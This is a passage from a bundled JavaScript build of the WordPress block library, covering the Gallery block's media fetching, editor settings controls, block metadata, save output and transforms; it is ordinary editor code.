          imagesUpdated = true;
          newCurrentImages.push(image);
        }
      });
      const newImages = images.filter(
        (image) => !newCurrentImages.find(
          (currentImage) => image.clientId && currentImage.clientId === image.clientId
        ) && imageData?.find((img) => img.id === image.id) && !image.fromSavedContent
      );
      if (imagesUpdated || newImages?.length > 0) {
        setCurrentImages([...newCurrentImages, ...newImages]);
      }
      return newImages.length > 0 ? newImages : null;
    }
  }

  // packages/block-library/build-module/gallery/use-get-media.mjs
  var import_data37 = __toESM(require_data(), 1);
  var import_core_data20 = __toESM(require_core_data(), 1);
  var EMPTY_IMAGE_MEDIA = [];
  function useGetMedia(innerBlockImages) {
    return (0, import_data37.useSelect)(
      (select9) => {
        const imageIds = innerBlockImages.map((imageBlock) => imageBlock.attributes.id).filter((id) => id !== void 0);
        if (imageIds.length === 0) {
          return EMPTY_IMAGE_MEDIA;
        }
        return select9(import_core_data20.store).getEntityRecords(
          "postType",
          "attachment",
          {
            include: imageIds.join(","),
            per_page: -1,
            orderby: "include"
          }
        ) ?? EMPTY_IMAGE_MEDIA;
      },
      [innerBlockImages]
    );
  }

  // packages/block-library/build-module/gallery/gap-styles.mjs
  var import_block_editor94 = __toESM(require_block_editor(), 1);
  function GapStyles({ blockGap, clientId }) {
    const fallbackValue = `var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )`;
    let gapValue = fallbackValue;
    let column = fallbackValue;
    let row;
    if (!!blockGap) {
      row = typeof blockGap === "string" ? (0, import_block_editor94.__experimentalGetGapCSSValue)(blockGap) : (0, import_block_editor94.__experimentalGetGapCSSValue)(blockGap?.top) || fallbackValue;
      column = typeof blockGap === "string" ? (0, import_block_editor94.__experimentalGetGapCSSValue)(blockGap) : (0, import_block_editor94.__experimentalGetGapCSSValue)(blockGap?.left) || fallbackValue;
      gapValue = row === column ? row : `${row} ${column}`;
    }
    const gap = `#block-${clientId} {
		--wp--style--unstable-gallery-gap: ${column === "0" ? "0px" : column};
		gap: ${gapValue}
	}`;
    (0, import_block_editor94.useStyleOverride)({ css: gap });
    return null;
  }

  // packages/block-library/build-module/gallery/edit.mjs
  var import_jsx_runtime257 = __toESM(require_jsx_runtime(), 1);
  var MAX_COLUMNS = 8;
  var LINK_OPTIONS = [
    {
      icon: custom_link_default,
      label: (0, import_i18n75.__)("Link images to attachment pages"),
      value: LINK_DESTINATION_ATTACHMENT,
      noticeText: (0, import_i18n75.__)("Attachment Pages")
    },
    {
      icon: image_default,
      label: (0, import_i18n75.__)("Link images to media files"),
      value: LINK_DESTINATION_MEDIA,
      noticeText: (0, import_i18n75.__)("Media Files")
    },
    {
      icon: fullscreen_default,
      label: (0, import_i18n75.__)("Enlarge on click"),
      value: LINK_DESTINATION_LIGHTBOX,
      noticeText: (0, import_i18n75.__)("Lightbox effect"),
      infoText: (0, import_i18n75.__)("Scale images with a lightbox effect")
    },
    {
      icon: link_off_default,
      label: (0, import_i18n75._x)("None", "Media item link option"),
      value: LINK_DESTINATION_NONE,
      noticeText: (0, import_i18n75.__)("None")
    }
  ];
  var NAVIGATION_BUTTON_TYPE_OPTIONS = [
    {
      label: (0, import_i18n75.__)("Icon"),
      value: "icon"
    },
    {
      label: (0, import_i18n75.__)("Text"),
      value: "text"
    },
    {
      label: (0, import_i18n75.__)("Both"),
      value: "both"
    }
  ];
  var ALLOWED_MEDIA_TYPES4 = ["image"];
  var PLACEHOLDER_TEXT = import_element33.Platform.isNative ? (0, import_i18n75.__)("Add media") : (0, import_i18n75.__)("Drag and drop images, upload, or choose from your library.");
  var MOBILE_CONTROL_PROPS_RANGE_CONTROL = import_element33.Platform.isNative ? { type: "stepper" } : {};
  var DEFAULT_BLOCK3 = { name: "core/image" };
  var EMPTY_ARRAY = [];
  function GalleryEdit(props) {
    const {
      setAttributes,
      attributes: attributes2,
      className,
      clientId,
      isSelected,
      insertBlocksAfter,
      isContentLocked,
      onFocus
    } = props;
    const [lightboxSetting, defaultRatios, themeRatios, showDefaultRatios] = (0, import_block_editor95.useSettings)(
      "blocks.core/image.lightbox",
      "dimensions.aspectRatios.default",
      "dimensions.aspectRatios.theme",
      "dimensions.defaultAspectRatios"
    );
    const linkOptions = !lightboxSetting?.allowEditing ? LINK_OPTIONS.filter(
      (option) => option.value !== LINK_DESTINATION_LIGHTBOX
    ) : LINK_OPTIONS;
    const {
      navigationButtonType,
      columns,
      imageCrop,
      randomOrder,
      linkTarget,
      linkTo,
      sizeSlug,
      aspectRatio
    } = attributes2;
    const {
      __unstableMarkNextChangeAsNotPersistent,
      replaceInnerBlocks,
      updateBlockAttributes,
      selectBlock
    } = (0, import_data38.useDispatch)(import_block_editor95.store);
    const { createSuccessNotice, createErrorNotice } = (0, import_data38.useDispatch)(import_notices6.store);
    const {
      getBlock,
      getSettings: getSettings2,
      innerBlockImages,
      blockWasJustInserted,
      multiGallerySelection
    } = (0, import_data38.useSelect)(
      (select9) => {
        const {
          getBlockName,
          getMultiSelectedBlockClientIds,
          getSettings: _getSettings,
          getBlock: _getBlock,
          wasBlockJustInserted
        } = select9(import_block_editor95.store);
        const multiSelectedClientIds = getMultiSelectedBlockClientIds();
        return {
          getBlock: _getBlock,
          getSettings: _getSettings,
          innerBlockImages: _getBlock(clientId)?.innerBlocks ?? EMPTY_ARRAY,
          blockWasJustInserted: wasBlockJustInserted(
            clientId,
            "inserter_menu"
          ),
          multiGallerySelection: multiSelectedClientIds.length && multiSelectedClientIds.every(
            (_clientId) => getBlockName(_clientId) === "core/gallery"
          )
        };
      },
      [clientId]
    );
    const images = (0, import_element33.useMemo)(
      () => innerBlockImages?.map((block) => ({
        clientId: block.clientId,
        id: block.attributes.id,
        url: block.attributes.url,
        attributes: block.attributes,
        fromSavedContent: Boolean(block.originalContent)
      })),
      [innerBlockImages]
    );
    const imageData = useGetMedia(innerBlockImages);
    const newImages = useGetNewImages(images, imageData);
    const hasLightboxImages = lightboxSetting?.enabled ? images.filter(
      (image) => image.attributes?.lightbox?.enabled === void 0 || image.attributes?.lightbox?.enabled === true
    ).length > 0 : images.filter((image) => image.attributes.lightbox?.enabled).length > 0;
    const themeOptions = themeRatios?.map(({ name: name123, ratio }) => ({
      label: name123,
      value: ratio
    }));
    const defaultOptions = defaultRatios?.map(({ name: name123, ratio }) => ({
      label: name123,
      value: ratio
    }));
    const aspectRatioOptions = [
      {
        label: (0, import_i18n75._x)(
          "Original",
          "Aspect ratio option for dimensions control"
        ),
        value: "auto"
      },
      ...showDefaultRatios ? defaultOptions || [] : [],
      ...themeOptions || []
    ];
    (0, import_element33.useEffect)(() => {
      newImages?.forEach((newImage) => {
        __unstableMarkNextChangeAsNotPersistent();
        updateBlockAttributes(newImage.clientId, {
          ...buildImageAttributes(newImage.attributes),
          id: newImage.id,
          align: void 0
        });
      });
    }, [newImages]);
    const imageSizeOptions = useImageSizes(
      imageData,
      isSelected,
      getSettings2
    );
    function buildImageAttributes(imageAttributes) {
      const image = imageAttributes.id ? imageData.find(({ id }) => id === imageAttributes.id) : null;
      let newClassName;
      if (imageAttributes.className && imageAttributes.className !== "") {
        newClassName = imageAttributes.className;
      }
      let newLinkTarget;
      if (imageAttributes.linkTarget || imageAttributes.rel) {
        newLinkTarget = {
          linkTarget: imageAttributes.linkTarget,
          rel: imageAttributes.rel
        };
      } else {
        newLinkTarget = getUpdatedLinkTargetSettings(
          linkTarget,
          attributes2
        );
      }
      return {
        ...pickRelevantMediaFiles(image, sizeSlug),
        ...getHrefAndDestination2(
          image,
          linkTo,
          imageAttributes?.linkDestination
        ),
        ...newLinkTarget,
        className: newClassName,
        sizeSlug,
        caption: imageAttributes.caption.length > 0 ? imageAttributes.caption : image.caption?.raw,
        alt: imageAttributes.alt || image.alt_text,
        aspectRatio: aspectRatio === "auto" ? void 0 : aspectRatio
      };
    }
    function isValidFileType2(file) {
      const nativeFileData = import_element33.Platform.isNative && file.id ? imageData.find(({ id }) => id === file.id) : null;
      const mediaTypeSelector = nativeFileData ? nativeFileData?.media_type : file.type;
      return ALLOWED_MEDIA_TYPES4.some(
        (mediaType) => mediaTypeSelector?.indexOf(mediaType) === 0
      ) || file.blob;
    }
    function updateImages(selectedImages) {
      const newFileUploads = Object.prototype.toString.call(selectedImages) === "[object FileList]";
      const imageArray = newFileUploads ? Array.from(selectedImages).map((file) => {
        if (!file.url) {
          return {
            blob: (0, import_blob9.createBlobURL)(file)
          };
        }
        return file;
      }) : selectedImages;
      if (!imageArray.every(isValidFileType2)) {
        createErrorNotice(
          (0, import_i18n75.__)(
            "If uploading to a gallery all files need to be image formats"
          ),
          { id: "gallery-upload-invalid-file", type: "snackbar" }
        );
      }
      const processedImages = imageArray.filter((file) => file.url || isValidFileType2(file)).map((file) => {
        if (!file.url) {
          return {
            blob: file.blob || (0, import_blob9.createBlobURL)(file)
          };
        }
        return file;
      });
      const newOrderMap = processedImages.reduce(
        (result, image, index) => (result[image.id] = index, result),
        {}
      );
      const existingImageBlocks = !newFileUploads ? innerBlockImages.filter(
        (block) => processedImages.find(
          (img) => img.id === block.attributes.id
        )
      ) : innerBlockImages;
      const newImageList = processedImages.filter(
        (img) => !existingImageBlocks.find(
          (existingImg) => img.id === existingImg.attributes.id
        )
      );
      const newBlocks = newImageList.map((image) => {
        return (0, import_blocks30.createBlock)("core/image", {
          id: image.id,
          blob: image.blob,
          url: image.url,
          caption: image.caption,
          alt: image.alt
        });
      });
      replaceInnerBlocks(
        clientId,
        existingImageBlocks.concat(newBlocks).sort(
          (a2, b2) => newOrderMap[a2.attributes.id] - newOrderMap[b2.attributes.id]
        )
      );
      if (newBlocks?.length > 0) {
        selectBlock(newBlocks[0].clientId);
      }
    }
    function onUploadError(message) {
      createErrorNotice(message, { type: "snackbar" });
    }
    function setLinkTo(value) {
      setAttributes({ linkTo: value });
      const changedAttributes = {};
      const blocks = [];
      getBlock(clientId).innerBlocks.forEach((block) => {
        blocks.push(block.clientId);
        const image = block.attributes.id ? imageData.find(({ id }) => id === block.attributes.id) : null;
        changedAttributes[block.clientId] = getHrefAndDestination2(
          image,
          value,
          false,
          block.attributes,
          lightboxSetting
        );
      });
      updateBlockAttributes(blocks, changedAttributes, {
        uniqueByBlock: true
      });
      const linkToText = [...linkOptions].find(
        (linkType) => linkType.value === value
      );
      createSuccessNotice(
        (0, import_i18n75.sprintf)(
          /* translators: %s: image size settings */
          (0, import_i18n75.__)("All gallery image links updated to: %s"),
          linkToText.noticeText
        ),
        {
          id: "gallery-attributes-linkTo",
          type: "snackbar"
        }
      );
    }
    function setColumnsNumber(value) {
      setAttributes({ columns: value });
    }
    function toggleImageCrop() {
      setAttributes({ imageCrop: !imageCrop });
    }
    function toggleRandomOrder() {
      setAttributes({ randomOrder: !randomOrder });
    }
    function toggleOpenInNewTab(openInNewTab) {
      const newLinkTarget = openInNewTab ? "_blank" : void 0;
      setAttributes({ linkTarget: newLinkTarget });
      const changedAttributes = {};
      const blocks = [];
      getBlock(clientId).innerBlocks.forEach((block) => {
        blocks.push(block.clientId);
        changedAttributes[block.clientId] = getUpdatedLinkTargetSettings(
          newLinkTarget,
          block.attributes
        );
      });
      updateBlockAttributes(blocks, changedAttributes, {
        uniqueByBlock: true
      });
      const noticeText = openInNewTab ? (0, import_i18n75.__)("All gallery images updated to open in new tab") : (0, import_i18n75.__)("All gallery images updated to not open in new tab");
      createSuccessNotice(noticeText, {
        id: "gallery-attributes-openInNewTab",
        type: "snackbar"
      });
    }
    function updateImagesSize(newSizeSlug) {
      setAttributes({ sizeSlug: newSizeSlug });
      const changedAttributes = {};
      const blocks = [];
      getBlock(clientId).innerBlocks.forEach((block) => {
        blocks.push(block.clientId);
        const image = block.attributes.id ? imageData.find(({ id }) => id === block.attributes.id) : null;
        changedAttributes[block.clientId] = getImageSizeAttributes(
          image,
          newSizeSlug
        );
      });
      updateBlockAttributes(blocks, changedAttributes, {
        uniqueByBlock: true
      });
      const imageSize = imageSizeOptions.find(
        (size) => size.value === newSizeSlug
      );
      createSuccessNotice(
        (0, import_i18n75.sprintf)(
          /* translators: %s: image size settings */
          (0, import_i18n75.__)("All gallery image sizes updated to: %s"),
          imageSize?.label ?? newSizeSlug
        ),
        {
          id: "gallery-attributes-sizeSlug",
          type: "snackbar"
        }
      );
    }
    function setAspectRatio(value) {
      setAttributes({ aspectRatio: value });
      const changedAttributes = {};
      const blocks = [];
      getBlock(clientId).innerBlocks.forEach((block) => {
        blocks.push(block.clientId);
        changedAttributes[block.clientId] = {
          aspectRatio: value === "auto" ? void 0 : value
        };
      });
      updateBlockAttributes(blocks, changedAttributes, true);
      const aspectRatioText = aspectRatioOptions.find(
        (option) => option.value === value
      );
      createSuccessNotice(
        (0, import_i18n75.sprintf)(
          /* translators: %s: aspect ratio setting */
          (0, import_i18n75.__)("All gallery images updated to aspect ratio: %s"),
          aspectRatioText?.label || value
        ),
        {
          id: "gallery-attributes-aspectRatio",
          type: "snackbar"
        }
      );
    }
    (0, import_element33.useEffect)(() => {
      if (!linkTo) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          linkTo: window?.wp?.media?.view?.settings?.defaultProps?.link || LINK_DESTINATION_NONE
        });
      }
    }, [linkTo]);
    const hasImages = !!images.length;
    const hasImageIds = hasImages && images.some((image) => !!image.id);
    const imagesUploading = images.some(
      (img) => !import_element33.Platform.isNative ? !img.id && img.url?.indexOf("blob:") === 0 : img.url?.indexOf("file:") === 0
    );
    const mediaPlaceholderProps = import_element33.Platform.select({
      web: {
        addToGallery: false,
        disableMediaButtons: imagesUploading,
        value: {}
      },
      native: {
        addToGallery: hasImageIds,
        isAppender: hasImages,
        disableMediaButtons: hasImages && !isSelected || imagesUploading,
        value: hasImageIds ? images : {},
        autoOpenMediaUpload: !hasImages && isSelected && blockWasJustInserted,
        onFocus
      }
    });
    const mediaPlaceholder = /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
      import_block_editor95.MediaPlaceholder,
      {
        handleUpload: false,
        icon: sharedIcon,
        labels: {
          title: (0, import_i18n75.__)("Gallery"),
          instructions: PLACEHOLDER_TEXT
        },
        onSelect: updateImages,
        allowedTypes: ALLOWED_MEDIA_TYPES4,
        multiple: true,
        onError: onUploadError,
        ...mediaPlaceholderProps
      }
    );
    const blockProps = (0, import_block_editor95.useBlockProps)({
      className: clsx_default(className, "has-nested-images")
    });
    const nativeInnerBlockProps = import_element33.Platform.isNative && {
      marginHorizontal: 0,
      marginVertical: 0
    };
    const innerBlocksProps = (0, import_block_editor95.useInnerBlocksProps)(blockProps, {
      defaultBlock: DEFAULT_BLOCK3,
      directInsert: true,
      orientation: "horizontal",
      renderAppender: false,
      ...nativeInnerBlockProps
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    if (!hasImages) {
      return /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_primitives160.View, { ...innerBlocksProps, children: [
        innerBlocksProps.children,
        mediaPlaceholder
      ] });
    }
    const hasLinkTo = linkTo && linkTo !== "none";
    return /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_jsx_runtime257.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_block_editor95.InspectorControls, { children: [
        import_element33.Platform.isWeb && /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(
          import_components45.__experimentalToolsPanel,
          {
            label: (0, import_i18n75.__)("Settings"),
            resetAll: () => {
              setAttributes({
                navigationButtonType: "icon",
                columns: void 0,
                imageCrop: true,
                randomOrder: false
              });
              setAspectRatio("auto");
              if (sizeSlug !== DEFAULT_MEDIA_SIZE_SLUG2) {
                updateImagesSize(DEFAULT_MEDIA_SIZE_SLUG2);
              }
              if (linkTarget) {
                toggleOpenInNewTab(false);
              }
            },
            dropdownMenuProps,
            children: [
              images.length > 1 && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)("Columns"),
                  hasValue: () => !!columns && columns !== images.length,
                  onDeselect: () => setColumnsNumber(void 0),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.RangeControl,
                    {
                      label: (0, import_i18n75.__)("Columns"),
                      value: columns ? columns : defaultColumnsNumber(
                        images.length
                      ),
                      onChange: setColumnsNumber,
                      min: 1,
                      max: Math.min(
                        MAX_COLUMNS,
                        images.length
                      ),
                      required: true,
                      __next40pxDefaultSize: true
                    }
                  )
                }
              ),
              imageSizeOptions?.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)("Resolution"),
                  hasValue: () => sizeSlug !== DEFAULT_MEDIA_SIZE_SLUG2,
                  onDeselect: () => updateImagesSize(DEFAULT_MEDIA_SIZE_SLUG2),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.SelectControl,
                    {
                      label: (0, import_i18n75.__)("Resolution"),
                      help: (0, import_i18n75.__)(
                        "Select the size of the source images."
                      ),
                      value: sizeSlug,
                      options: imageSizeOptions,
                      onChange: updateImagesSize,
                      hideCancelButton: true,
                      size: "__unstable-large"
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)("Crop images to fit"),
                  hasValue: () => !imageCrop,
                  onDeselect: () => setAttributes({ imageCrop: true }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.ToggleControl,
                    {
                      label: (0, import_i18n75.__)("Crop images to fit"),
                      checked: !!imageCrop,
                      onChange: toggleImageCrop
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)("Randomize order"),
                  hasValue: () => !!randomOrder,
                  onDeselect: () => setAttributes({ randomOrder: false }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.ToggleControl,
                    {
                      label: (0, import_i18n75.__)("Randomize order"),
                      checked: !!randomOrder,
                      onChange: toggleRandomOrder
                    }
                  )
                }
              ),
              hasLinkTo && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  isShownByDefault: true,
                  label: (0, import_i18n75.__)("Open images in new tab"),
                  hasValue: () => !!linkTarget,
                  onDeselect: () => toggleOpenInNewTab(false),
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.ToggleControl,
                    {
                      label: (0, import_i18n75.__)("Open images in new tab"),
                      checked: linkTarget === "_blank",
                      onChange: toggleOpenInNewTab
                    }
                  )
                }
              ),
              aspectRatioOptions.length > 1 && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  hasValue: () => !!aspectRatio && aspectRatio !== "auto",
                  label: (0, import_i18n75.__)("Aspect ratio"),
                  onDeselect: () => setAspectRatio("auto"),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.SelectControl,
                    {
                      __next40pxDefaultSize: true,
                      label: (0, import_i18n75.__)("Aspect ratio"),
                      help: (0, import_i18n75.__)(
                        "Set a consistent aspect ratio for all images in the gallery."
                      ),
                      value: aspectRatio,
                      options: aspectRatioOptions,
                      onChange: setAspectRatio
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                import_components45.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n75.__)("Navigation button type"),
                  isShownByDefault: true,
                  hasValue: () => navigationButtonType !== "icon",
                  onDeselect: () => setAttributes({
                    navigationButtonType: "icon"
                  }),
                  children: hasLightboxImages && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                    import_components45.__experimentalToggleGroupControl,
                    {
                      label: (0, import_i18n75.__)("Navigation button type"),
                      value: navigationButtonType,
                      onChange: (value) => setAttributes({
                        navigationButtonType: value
                      }),
                      isBlock: true,
                      __next40pxDefaultSize: true,
                      help: (0, import_i18n75.__)(
                        "Adjust the appearance of buttons in the lightbox."
                      ),
                      children: NAVIGATION_BUTTON_TYPE_OPTIONS.map(
                        (option) => /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
                          import_components45.__experimentalToggleGroupControlOption,
                          {
                            value: option.value,
                            label: option.label
                          },
                          option.value
                        )
                      )
                    }
                  )
                }
              )
            ]
          }
        ),
        import_element33.Platform.isNative && /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_components45.PanelBody, { title: (0, import_i18n75.__)("Settings"), children: [
          images.length > 1 && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.RangeControl,
            {
              label: (0, import_i18n75.__)("Columns"),
              value: columns ? columns : defaultColumnsNumber(images.length),
              onChange: setColumnsNumber,
              min: 1,
              max: Math.min(MAX_COLUMNS, images.length),
              ...MOBILE_CONTROL_PROPS_RANGE_CONTROL,
              required: true,
              __next40pxDefaultSize: true
            }
          ),
          imageSizeOptions?.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.SelectControl,
            {
              label: (0, import_i18n75.__)("Resolution"),
              help: (0, import_i18n75.__)(
                "Select the size of the source images."
              ),
              value: sizeSlug,
              options: imageSizeOptions,
              onChange: updateImagesSize,
              hideCancelButton: true,
              size: "__unstable-large"
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.SelectControl,
            {
              label: (0, import_i18n75.__)("Link"),
              value: linkTo,
              onChange: setLinkTo,
              options: linkOptions,
              hideCancelButton: true,
              size: "__unstable-large"
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.ToggleControl,
            {
              label: (0, import_i18n75.__)("Crop images to fit"),
              checked: !!imageCrop,
              onChange: toggleImageCrop
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.ToggleControl,
            {
              label: (0, import_i18n75.__)("Randomize order"),
              checked: !!randomOrder,
              onChange: toggleRandomOrder
            }
          ),
          hasLinkTo && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.ToggleControl,
            {
              label: (0, import_i18n75.__)("Open images in new tab"),
              checked: linkTarget === "_blank",
              onChange: toggleOpenInNewTab
            }
          ),
          aspectRatioOptions.length > 1 && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
            import_components45.SelectControl,
            {
              label: (0, import_i18n75.__)("Aspect Ratio"),
              help: (0, import_i18n75.__)(
                "Set a consistent aspect ratio for all images in the gallery."
              ),
              value: aspectRatio,
              options: aspectRatioOptions,
              onChange: setAspectRatio,
              hideCancelButton: true,
              size: "__unstable-large"
            }
          )
        ] })
      ] }),
      import_element33.Platform.isWeb ? /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(import_block_editor95.BlockControls, { group: "block", children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
        import_components45.ToolbarDropdownMenu,
        {
          icon: link_default,
          label: (0, import_i18n75.__)("Link"),
          children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(import_components45.MenuGroup, { children: linkOptions.map((linkItem) => {
            const isOptionSelected = linkTo === linkItem.value;
            return /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
              import_components45.MenuItem,
              {
                isSelected: isOptionSelected,
                className: clsx_default(
                  "components-dropdown-menu__menu-item",
                  {
                    "is-active": isOptionSelected
                  }
                ),
                iconPosition: "left",
                icon: linkItem.icon,
                onClick: () => {
                  setLinkTo(linkItem.value);
                  onClose();
                },
                role: "menuitemradio",
                info: linkItem.infoText,
                children: linkItem.label
              },
              linkItem.value
            );
          }) })
        }
      ) }) : null,
      import_element33.Platform.isWeb && /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_jsx_runtime257.Fragment, { children: [
        !multiGallerySelection && /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(import_block_editor95.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
          import_block_editor95.MediaReplaceFlow,
          {
            allowedTypes: ALLOWED_MEDIA_TYPES4,
            handleUpload: false,
            onSelect: updateImages,
            name: (0, import_i18n75.__)("Add"),
            multiple: true,
            mediaIds: images.filter((image) => image.id).map((image) => image.id),
            addToGallery: hasImageIds,
            variant: "toolbar"
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
          GapStyles,
          {
            blockGap: attributes2.style?.spacing?.blockGap,
            clientId
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
        Gallery,
        {
          ...props,
          isContentLocked,
          images,
          mediaPlaceholder: !hasImages || import_element33.Platform.isNative ? mediaPlaceholder : void 0,
          blockProps: innerBlocksProps,
          insertBlocksAfter,
          multiGallerySelection
        }
      )
    ] });
  }

  // packages/block-library/build-module/gallery/block.json
  var block_default38 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/gallery",
    title: "Gallery",
    category: "media",
    usesContext: ["galleryId"],
    allowedBlocks: ["core/image"],
    description: "Display multiple images in a rich gallery.",
    keywords: ["images", "photos"],
    textdomain: "default",
    attributes: {
      images: {
        type: "array",
        default: [],
        source: "query",
        selector: ".blocks-gallery-item",
        query: {
          url: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "src"
          },
          fullUrl: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-full-url"
          },
          link: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-link"
          },
          alt: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "alt",
            default: ""
          },
          id: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-id"
          },
          caption: {
            type: "rich-text",
            source: "rich-text",
            selector: ".blocks-gallery-item__caption"
          }
        }
      },
      ids: {
        type: "array",
        items: {
          type: "number"
        },
        default: []
      },
      navigationButtonType: {
        type: "string",
        default: "icon",
        enum: ["icon", "text", "both"]
      },
      shortCodeTransforms: {
        type: "array",
        items: {
          type: "object"
        },
        default: []
      },
      columns: {
        type: "number",
        minimum: 1,
        maximum: 8
      },
      caption: {
        type: "rich-text",
        source: "rich-text",
        selector: ".blocks-gallery-caption",
        role: "content"
      },
      imageCrop: {
        type: "boolean",
        default: true
      },
      randomOrder: {
        type: "boolean",
        default: false
      },
      fixedHeight: {
        type: "boolean",
        default: true
      },
      linkTarget: {
        type: "string"
      },
      linkTo: {
        type: "string"
      },
      sizeSlug: {
        type: "string",
        default: "large"
      },
      allowResize: {
        type: "boolean",
        default: false
      },
      aspectRatio: {
        type: "string",
        default: "auto"
      }
    },
    providesContext: {
      allowResize: "allowResize",
      imageCrop: "imageCrop",
      fixedHeight: "fixedHeight",
      navigationButtonType: "navigationButtonType"
    },
    supports: {
      anchor: true,
      align: true,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true
        }
      },
      html: false,
      units: ["px", "em", "rem", "vh", "vw"],
      spacing: {
        margin: true,
        padding: true,
        blockGap: ["horizontal", "vertical"],
        __experimentalSkipSerialization: ["blockGap"],
        __experimentalDefaultControls: {
          blockGap: true,
          margin: false,
          padding: false
        }
      },
      color: {
        text: false,
        background: true,
        gradients: true
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowEditing: false,
        default: {
          type: "flex"
        }
      },
      interactivity: {
        clientNavigation: true
      },
      listView: true
    },
    editorStyle: "wp-block-gallery-editor",
    style: "wp-block-gallery"
  };

  // packages/block-library/build-module/gallery/save.mjs
  var import_block_editor96 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime258 = __toESM(require_jsx_runtime(), 1);
  function saveWithInnerBlocks({ attributes: attributes2 }) {
    const { caption, columns, imageCrop } = attributes2;
    const className = clsx_default("has-nested-images", {
      [`columns-${columns}`]: columns !== void 0,
      [`columns-default`]: columns === void 0,
      "is-cropped": imageCrop
    });
    const blockProps = import_block_editor96.useBlockProps.save({ className });
    const innerBlocksProps = import_block_editor96.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime258.jsxs)("figure", { ...innerBlocksProps, children: [
      innerBlocksProps.children,
      !import_block_editor96.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime258.jsx)(
        import_block_editor96.RichText.Content,
        {
          tagName: "figcaption",
          className: clsx_default(
            "blocks-gallery-caption",
            (0, import_block_editor96.__experimentalGetElementClassName)("caption")
          ),
          value: caption
        }
      )
    ] });
  }

  // packages/block-library/build-module/gallery/transforms.mjs
  var import_blocks31 = __toESM(require_blocks(), 1);
  var import_blob10 = __toESM(require_blob(), 1);
  var import_hooks29 = __toESM(require_hooks(), 1);
  var parseShortcodeIds = (ids) => {
    if (!ids) {
      return [];
    }
    return ids.split(",").map((id) => parseInt(id, 10));
  };
  function updateThirdPartyTransformToGallery(block) {
    if (block.name === "core/gallery" && block.attributes?.images.length > 0) {
      const innerBlocks = block.attributes.images.map(
        ({ url, id, alt }) => {
          return (0, import_blocks31.createBlock)("core/image", {
            url,
            id: id ? parseInt(id, 10) : null,
            alt,
            sizeSlug: block.attributes.sizeSlug,
            linkDestination: block.attributes.linkDestination
          });
        }
      );
      delete block.attributes.ids;
      delete block.attributes.images;
      block.innerBlocks = innerBlocks;
    }
    return block;
  }
  (0, import_hooks29.addFilter)(
    "blocks.switchToBlockType.transformedBlock",
    "core/gallery/update-third-party-transform-to",
    updateThirdPartyTransformToGallery
